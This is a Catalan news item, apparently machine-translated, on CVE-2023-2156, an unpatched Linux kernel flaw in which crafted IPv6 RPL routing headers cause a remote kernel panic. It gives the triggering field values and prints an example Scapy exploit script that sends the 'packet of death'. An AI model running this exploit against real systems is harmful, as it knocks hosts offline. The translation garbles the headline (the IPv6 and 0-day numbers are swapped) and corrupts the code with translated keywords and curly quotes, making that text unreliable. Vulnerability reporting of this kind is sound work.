Vulnerabilitat de la pila IPv0 de Linux de 6 dies que permet un bloqueig remot del nucli

S'ha revelat informació sobre una vulnerabilitat no corregida (0 dies) (CVE-2023-2156) al nucli de Linux, que permet aturar el sistema enviant paquets IPv6 especialment dissenyats (paquet de mort). El problema només apareix quan s'habilita el suport per al protocol RPL (Routing Protocol for Low-Power and Lossy Networks), que està desactivat per defecte a les distribucions i s'utilitza principalment en dispositius incrustats que operen en xarxes sense fil amb gran pèrdua de paquets.

La vulnerabilitat és causada per un processament incorrecte de dades externes al codi d'anàlisi del protocol RPL, que provoca un error d'afirmació i el nucli entra en estat de pànic. Quan col·loqueu les dades obtingudes de l'anàlisi de la capçalera del paquet RPL d'IPv6 a l'estructura k_buff (Socket Buffer), si el camp CmprI s'estableix a 15, el camp Segleft a 1 i CmprE a 0, el vector de 48 bytes amb adreces es descomprimeix. a 528 bytes i apareix una situació en què la memòria assignada per al buffer no és suficient. En aquest cas, la funció skb_push, que s'utilitza per introduir dades a l'estructura, comprova la inconmensurabilitat entre la mida de les dades i la memòria intermèdia, generant un estat de pànic per evitar l'escriptura més enllà del límit de la memòria intermèdia.

Explotació d'exemple: # Utilitzarem Scapy per crear el paquet des de scapy.all import * import socket # Utilitzeu l'IPv6 des de la vostra interfície LAN DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Utilitzem sockets per enviar el paquet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Crea el paquet # Type = 3 fa que sigui un paquet RPL # Addresses conté 3 adreces, però com que CmprI és 15, # cada octet de les dues primeres adreces és tractada com una adreça comprimida # Segleft = 1 per activar l'amplificació # lastentry = 0xf0 estableix CmprI a 15 i CmprE a 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, adreces=[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Envia aquest paquet malvat sockfd.sendto(bytes(p), (DST_ADDR, 0))

Cal destacar que els desenvolupadors del nucli van rebre una notificació de la vulnerabilitat el gener de 2022 i durant els darrers 15 mesos han intentat solucionar el problema tres vegades, llançant pedaços al setembre de 2022, octubre de 2022 i abril de 2023, però cada vegada s'han corregit. no n'hi ha prou i la vulnerabilitat no es va poder reproduir. Finalment, el projecte ZDI, que va coordinar el treball per solucionar la vulnerabilitat, va decidir publicar informació detallada sobre la vulnerabilitat sense esperar que hi hagués una solució de treball disponible al nucli.

Per tant, la vulnerabilitat encara no s'ha solucionat. En particular, el pedaç inclòs al nucli 6.4-rc2 és ineficaç. Es recomana als usuaris que comprovin que el protocol RPL no s'utilitza als seus sistemes, cosa que es pot fer mitjançant l'ordre sysctl -a | grep -i rpl_seg_enabled

Font: opennet.ru

Afegeix comentari